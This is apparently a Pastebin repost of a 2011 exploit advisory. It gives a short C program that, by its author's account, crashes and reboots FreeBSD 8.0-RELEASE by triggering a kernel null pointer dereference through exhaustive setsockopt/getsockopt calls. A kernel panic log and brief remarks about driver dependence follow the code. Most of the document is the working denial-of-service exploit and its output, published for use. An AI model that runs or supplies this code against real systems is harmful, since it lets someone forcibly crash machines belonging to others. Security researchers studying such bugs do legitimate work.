Tr3v0r

[BSD] FreeBSD 8.0 Local Denial of Service (forced reboot)

Sep 9th, 2014
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.54 KB | None | 0 0
  1. # Exploit Title: FreeBSD local denial of service - forced reboot
  2. # Date: 28. January 2011
  3. # Author: Kingcope
  4. # Software Link: http://www.freebsd.org
  5. # Operating System: FreeBSD
  6. # Tested on: 8.0-RELEASE
  7.  
  8. This source code when compiled and executed
  9. will reboot at least FreeBSD 8.0-RELEASE because of a null pointer dereference.
  10.  
  11. #include <sys/types.h>
  12. #include <sys/mman.h>
  13. #define PAGE_SIZE 4096
  14. #include <sys/stat.h>
  15. #include <fcntl.h>
  16. #include <sys/socket.h>
  17. main() {
  18. int k,fd,i2,i3,i4,i5,i6,i7,i8;
  19. char *p;
  20. char buf[4096];
  21.  
  22. for (i2=0;i2<256;i2++) {
  23. for (i3=0;i3<2;i3++) {
  24. for (i4=0;i4<2;i4++) {
  25. fd = socket(i2, i3, i4);
  26. if (fd < 0) continue;
  27. printf("SUCCESS!\n");
  28. for (i5=0;i5<100;i5++) {
  29. for (i6=0;i6<100;i6++) {
  30. setsockopt(fd, i5, i6, buf, 4);
  31. getsockopt(fd, i5, i6, buf, &i7);
  32. }}}}}
  33. }
  34.  
  35. The crash dump looks like the following.
  36.  
  37. Jan 28 11:33:07 r00tme kernel:
  38. Jan 28 11:33:07 r00tme kernel:
  39. Jan 28 11:33:07 r00tme kernel: Fatal trap 12: page fault while in kernel mode
  40. Jan 28 11:33:07 r00tme kernel: cpuid = 0; apic id = 00
  41. Jan 28 11:33:07 r00tme kernel: fault virtual address = 0xc
  42. Jan 28 11:33:07 r00tme kernel: fault code = supervisor
  43. write, page not present
  44. Jan 28 11:33:07 r00tme kernel: instruction pointer = 0x20:0xc06143ba
  45. Jan 28 11:33:07 r00tme kernel: stack pointer = 0x28:0xcd1fa5b4
  46. Jan 28 11:33:07 r00tme kernel: frame pointer = 0x28:0xcd1fa85c
  47. Jan 28 11:33:07 r00tme kernel: code segment = base 0x0,
  48. limit 0xfffff, type 0x1b
  49. Jan 28 11:33:07 r00tme kernel: = DPL 0, pres 1, def32 1, gran 1
  50. Jan 28 11:33:07 r00tme kernel: processor eflags = interrupt enabled,
  51. resume, IOPL = 0
  52. Jan 28 11:33:07 r00tme kernel: current process = 1004 (bsdcrash)
  53. Jan 28 11:33:07 r00tme kernel: trap number = 12
  54. Jan 28 11:33:07 r00tme kernel: panic: page fault
  55. Jan 28 11:33:07 r00tme kernel: cpuid = 0
  56. Jan 28 11:33:07 r00tme kernel: Uptime: 2m48s
  57. Jan 28 11:33:07 r00tme kernel: Cannot dump. Device not defined or unavailable.
  58. Jan 28 11:33:07 r00tme kernel: Automatic reboot in 15 seconds - press
  59. a key on the console to abort
  60. Jan 28 11:33:07 r00tme kernel: Rebooting...
  61.  
  62. The cause of the crash seems to be a specific network driver. Since
  63. the crash is forced (only?) in a VMWare virtual machine the
  64. exploitability can be dependent on the loaded device drivers
  65. and installed hardware.
  66.  
  67.  
  68.  
  69. # 98F8C76751042B38 1337day.com [2014-09-09] 0BA9274D84FB1EEC #
Add Comment
Please, Sign In to add comment